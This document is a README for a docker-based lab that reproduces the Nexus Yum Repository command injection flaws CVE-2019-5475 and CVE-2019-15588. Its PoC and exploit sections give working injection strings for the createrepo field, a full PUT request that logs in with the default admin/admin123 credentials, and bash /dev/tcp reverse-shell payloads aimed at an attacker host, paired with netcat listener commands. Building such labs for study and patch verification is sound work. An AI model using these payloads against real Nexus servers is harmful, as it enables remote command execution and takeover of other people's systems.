CVE-2019-5475

CVE-2019-5475 and CVE-2019-15588 Range: RCE Command Injection Vulnerability

0x00 Background

CVE-2019-5475 is an RCE command injection vulnerability in Nexus regarding the built-in plugin Yum Repository. It was first disclosed on hackerone, but because the official first fix was incomplete, the CVE-2019-15588 vulnerability was derived.

Both vulnerabilities require login as admin to exploit, but the Nexus default admin password admin123 is often left unchanged, making it easy to exploit.

0x10 Range Environment

0x20 Directory Structure

CVE-2019-5475
├── nexus-yum-core .......... [Maven project for debugging: simulates entering createrepo or mergerepo in nexus GUI]
├── nexus ................... [Data mount directory for Nexus container]
├── attacker ................ [Build directory for attacker machine]
│   └── Dockerfile .......... [Docker build file for attacker machine]
├── docker-compose.yml ...... [Docker build configuration]
├── imgs .................... [Images to assist README explanation]
└── README.md ............... [This README explanation]

0x40 Range Setup

• Host machine pre-installed with docker and docker-compose
• Download this repository: git clone https://github.com/lyy289065406/CVE-2019-5475
• Open Nexus build directory: cd CVE-2019-5475
• Build and run Nexus: docker-compose up -d
• After about 5 minutes, Nexus can be accessed from a browser (BasicAuth is admin/admin123), where:

This range also sets up an attacker machine 172.168.50.2 in the same network environment as the two target machines, used to verify reverse shell.

0x50 [CVE-2019-5475] Range Verification

0x51 PoC

Login as admin to http://127.0.0.1:8009/nexus/#capabilities, and the RCE injection point can be found in Administration -> Capabilities -> Yum: Configuration -> Settings.

The input fields Path of "createrepo" and Path of "mergerepo" can both be injected, and execution results can be viewed from Status.

For example, constructing the PoC bash -c id || python at the createrepo injection point will display the execution result of the command bash -c id as uid=200(nexus) gid=200(nexus) groups=200(nexus) in Status.

The corresponding PoC request can be intercepted via BurpSuite as:

PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close

{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}

0x52 EXP

This injection point can be easily exploited to construct a reverse shell:

• Log in to attacker machine: docker exec -it -u root docker_attacker /bin/bash
• Use netcat to listen for reverse: nc -lvvp 4444
• Construct payload at the above createrepo injection point: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

0x60 [CVE-2019-15588] Range Verification

0x61 PoC

The injection point is the same as CVE-2019-5475, adjust PoC to: /bin/bash -c id || /createrepo

0x62 EXP

This vulnerability can use the same method to reverse shell:

• Log in to attacker machine: docker exec -it -u root docker_attacker /bin/bash
• Use netcat to listen for reverse: nc -lvvp 4444
• Construct payload at the createrepo injection point: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo

0x70 Vulnerability Fix

• For CVE-2019-5475: Official first fix patch
• For CVE-2019-15588: Official second fix patch

0x80 About nexus-yum-core

nexus-yum-core is the core code snippet in nexus regarding this vulnerability exploitation, mainly used for directly debugging and analyzing the input payload from the backend, without needing to build a complete Nexus service from source.

0x90 References

• https://paper.seebug.org/1260/
• https://blog.spoock.com/2018/11/25/getshell-bypass-exec/